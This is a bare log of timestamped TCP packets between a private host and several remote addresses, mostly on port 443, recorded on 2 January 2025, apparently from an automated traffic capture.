Jan 2, 2025 20:29:14.731158018 CET	443	50036	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:14.731832027 CET	50036	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:14.731839895 CET	443	50036	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.115968943 CET	443	50036	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.116158962 CET	50036	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.116174936 CET	443	50036	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.116321087 CET	50036	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.116957903 CET	443	50036	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.117007971 CET	443	50036	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.117014885 CET	50036	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.117048979 CET	50036	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.119304895 CET	50036	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.119329929 CET	443	50036	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.119834900 CET	50048	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:15.119879007 CET	443	50048	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:15.119942904 CET	50048	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:15.120307922 CET	50049	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.120363951 CET	443	50049	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.120417118 CET	50049	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.120878935 CET	443	50035	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.120938063 CET	50035	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.121416092 CET	50049	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.121433020 CET	443	50049	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.121629000 CET	443	50035	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.121674061 CET	50035	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.121684074 CET	443	50035	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.121743917 CET	50035	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.121818066 CET	50048	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:15.121835947 CET	443	50048	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:15.122200966 CET	50035	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.122225046 CET	443	50035	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.122240067 CET	50035	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.122265100 CET	50035	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.122710943 CET	50050	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:15.122723103 CET	443	50050	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:15.122771978 CET	50050	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:15.123217106 CET	50051	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.123233080 CET	443	50051	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.123279095 CET	50051	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.123388052 CET	50050	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:15.123399973 CET	443	50050	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:15.123457909 CET	50051	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.123467922 CET	443	50051	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.782990932 CET	443	50048	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:15.783163071 CET	50048	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:15.790848970 CET	443	50049	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.791115046 CET	50049	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.791718006 CET	443	50050	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:15.791779041 CET	50050	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:15.806751966 CET	443	50051	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.806813955 CET	50051	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.873131990 CET	50048	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:15.873142958 CET	443	50048	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:15.873471022 CET	50048	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:15.873476028 CET	443	50048	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:15.874041080 CET	50049	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.874069929 CET	443	50049	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.875953913 CET	50049	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.875966072 CET	443	50049	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.876385927 CET	50050	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:15.876394987 CET	443	50050	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:15.876518965 CET	50050	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:15.876526117 CET	443	50050	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:15.879445076 CET	50051	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.879453897 CET	443	50051	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:15.879611015 CET	50051	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:15.879615068 CET	443	50051	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.189723015 CET	443	50049	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.189798117 CET	50049	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.189816952 CET	443	50049	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.189863920 CET	50049	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.189986944 CET	50049	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.190018892 CET	443	50049	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.190094948 CET	50049	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.190587997 CET	50059	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.190627098 CET	443	50059	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.190757036 CET	50059	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.191030979 CET	50059	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.191045046 CET	443	50059	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.194700003 CET	443	50051	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.194775105 CET	50051	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.194859028 CET	50051	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.194928885 CET	443	50051	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.194993019 CET	50051	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.195374966 CET	50060	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.195403099 CET	443	50060	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.195471048 CET	50060	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.195652008 CET	50060	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.195667028 CET	443	50060	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.210763931 CET	443	50048	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.210808992 CET	443	50048	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.210861921 CET	50048	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.210894108 CET	443	50048	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.210916996 CET	443	50048	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.210968018 CET	50048	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.211714029 CET	50048	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.211730003 CET	443	50048	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.212172985 CET	50061	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.212203979 CET	443	50061	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.212383032 CET	50061	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.212577105 CET	50061	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.212588072 CET	443	50061	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.363991976 CET	443	50050	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.364051104 CET	443	50050	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.364058971 CET	50050	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.364084959 CET	443	50050	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.364100933 CET	50050	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.364125013 CET	50050	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.364131927 CET	443	50050	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.364159107 CET	443	50050	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.364171982 CET	50050	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.364192009 CET	50050	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.364989042 CET	50050	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.365009069 CET	443	50050	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.365608931 CET	50062	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.365641117 CET	443	50062	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.365689039 CET	50062	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.366143942 CET	50062	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.366153002 CET	443	50062	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.764977932 CET	80	49738	69.42.215.252	192.168.2.7
Jan 2, 2025 20:29:16.765083075 CET	49738	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:29:16.827869892 CET	443	50060	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.827939034 CET	50060	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.828656912 CET	443	50060	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.828713894 CET	50060	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.830571890 CET	50060	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.830585003 CET	443	50060	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.830878973 CET	443	50060	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.830962896 CET	50060	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.831393003 CET	50060	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.844227076 CET	443	50061	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.844288111 CET	50061	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.844646931 CET	50061	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.844654083 CET	443	50061	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.846600056 CET	50061	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:16.846604109 CET	443	50061	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:16.850461006 CET	443	50059	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.850532055 CET	50059	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.851258039 CET	443	50059	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.851324081 CET	50059	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.852812052 CET	50059	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.852821112 CET	443	50059	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.853074074 CET	443	50059	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.853127003 CET	50059	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.853394985 CET	50059	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:16.875334024 CET	443	50060	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:16.899347067 CET	443	50059	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.000472069 CET	443	50062	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.000595093 CET	50062	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.001065016 CET	50062	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.001072884 CET	443	50062	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.001245975 CET	50062	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.001254082 CET	443	50062	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.219938993 CET	443	50060	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.220021963 CET	50060	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.220040083 CET	443	50060	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.220079899 CET	50060	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.220187902 CET	50060	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.220231056 CET	443	50060	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.220309019 CET	50060	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.220731020 CET	50070	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.220771074 CET	443	50070	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.220866919 CET	50070	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.221093893 CET	50070	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.221106052 CET	443	50070	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.235763073 CET	443	50059	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.235821009 CET	50059	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.235843897 CET	443	50059	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.235884905 CET	50059	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.235937119 CET	50059	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.235970974 CET	443	50059	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.236088037 CET	50059	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.236346006 CET	50071	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.236391068 CET	443	50071	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.236469984 CET	50071	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.236748934 CET	50071	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.236764908 CET	443	50071	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.269685984 CET	443	50061	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.269742012 CET	50061	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.269747019 CET	443	50061	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.269773006 CET	443	50061	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.269787073 CET	50061	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.269845009 CET	50061	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.269853115 CET	443	50061	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.269932032 CET	50061	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.270015001 CET	443	50061	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.270076990 CET	50061	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.270076990 CET	443	50061	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.270147085 CET	50061	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.270746946 CET	50061	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.270761967 CET	443	50061	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.271177053 CET	50072	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.271210909 CET	443	50072	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.271261930 CET	50072	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.271483898 CET	50072	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.271496058 CET	443	50072	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.417582989 CET	443	50062	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.417633057 CET	50062	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.417644024 CET	443	50062	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.417675972 CET	50062	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.417680025 CET	443	50062	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.417731047 CET	50062	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.417735100 CET	443	50062	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.417785883 CET	443	50062	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.417823076 CET	50062	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.418704987 CET	50062	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.418715954 CET	443	50062	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.419135094 CET	50074	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.419172049 CET	443	50074	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.419415951 CET	50074	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.419415951 CET	50074	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.419446945 CET	443	50074	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.898108959 CET	443	50071	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.898201942 CET	50071	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.898926020 CET	443	50071	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.898988008 CET	50071	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.902874947 CET	50071	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.902882099 CET	443	50071	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.903168917 CET	443	50071	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.903304100 CET	50071	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.903743982 CET	50071	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.904225111 CET	443	50072	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.904284000 CET	50072	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.904563904 CET	50072	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.904570103 CET	443	50072	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.904768944 CET	50072	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:17.904782057 CET	443	50072	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:17.906521082 CET	443	50070	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.906637907 CET	50070	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.907613993 CET	443	50070	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.907676935 CET	50070	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.909123898 CET	50070	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.909133911 CET	443	50070	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.909472942 CET	443	50070	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.909543037 CET	50070	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.909811974 CET	50070	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:17.951339006 CET	443	50070	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:17.951347113 CET	443	50071	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:18.080792904 CET	443	50074	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:18.080854893 CET	50074	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:18.081312895 CET	50074	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:18.081321001 CET	443	50074	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:18.081610918 CET	50074	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:18.081614971 CET	443	50074	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:18.107572079 CET	50071	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:18.107599974 CET	50072	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:18.107618093 CET	50070	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:18.107826948 CET	50074	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:18.110714912 CET	50082	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:18.110750914 CET	443	50082	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:18.110816002 CET	50082	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:18.111615896 CET	50082	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:18.111627102 CET	443	50082	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:18.112282991 CET	50083	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:18.112341881 CET	443	50083	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:18.112555981 CET	50083	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:18.113795996 CET	50083	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:18.113809109 CET	443	50083	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:18.775006056 CET	443	50083	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:18.777129889 CET	50083	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:18.830209017 CET	50083	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:18.830239058 CET	443	50083	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:18.830547094 CET	50083	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:18.830553055 CET	443	50083	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:18.863503933 CET	443	50082	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:18.863559961 CET	50082	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:18.865792990 CET	50082	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:18.865803003 CET	443	50082	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:18.866329908 CET	50082	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:18.866334915 CET	443	50082	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.161513090 CET	443	50083	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.161571980 CET	50083	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.161705017 CET	50083	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.161751986 CET	443	50083	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.161798954 CET	50083	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.162343025 CET	50094	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.162383080 CET	443	50094	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.162461042 CET	50094	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.162719965 CET	50094	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.162730932 CET	443	50094	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.164093971 CET	50095	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:19.164140940 CET	443	50095	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:19.164355040 CET	50095	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:19.164532900 CET	50095	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:19.164547920 CET	443	50095	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:19.274585009 CET	443	50082	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.274657965 CET	50082	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.274673939 CET	443	50082	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.274760008 CET	50082	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.274800062 CET	443	50082	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.274844885 CET	443	50082	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.274856091 CET	50082	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.274862051 CET	443	50082	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.274907112 CET	50082	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.274928093 CET	50082	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.275495052 CET	50097	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.275512934 CET	443	50097	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.275635958 CET	50097	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.275671005 CET	50098	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:19.275713921 CET	443	50098	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:19.275916100 CET	50098	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:19.275930882 CET	50097	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.275940895 CET	443	50097	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.276139975 CET	50098	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:19.276154041 CET	443	50098	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:19.811294079 CET	443	50094	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.811367989 CET	50094	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.812083960 CET	443	50094	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.812139034 CET	50094	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.816117048 CET	50094	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.816124916 CET	443	50094	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.816368103 CET	443	50094	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.816436052 CET	50094	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.816840887 CET	50094	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.822005033 CET	443	50095	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:19.822077990 CET	50095	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:19.822385073 CET	50095	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:19.822393894 CET	443	50095	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:19.824713945 CET	50095	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:19.824718952 CET	443	50095	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:19.863332987 CET	443	50094	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.909120083 CET	443	50097	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.909195900 CET	50097	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.909910917 CET	443	50097	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.909972906 CET	50097	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.911619902 CET	50097	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.911626101 CET	443	50097	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.911869049 CET	443	50097	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:19.911933899 CET	50097	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.912286997 CET	50097	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:19.932005882 CET	443	50098	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:19.932060957 CET	50098	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:19.932427883 CET	50098	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:19.932436943 CET	443	50098	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:19.932624102 CET	50098	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:29:19.932629108 CET	443	50098	142.250.186.129	192.168.2.7
Jan 2, 2025 20:29:19.959327936 CET	443	50097	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:20.194628000 CET	443	50094	216.58.206.78	192.168.2.7
Jan 2, 2025 20:29:20.194705963 CET	50094	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:29:20.194852114 CET	50094	443	192.168.2.7	216.58.206.78
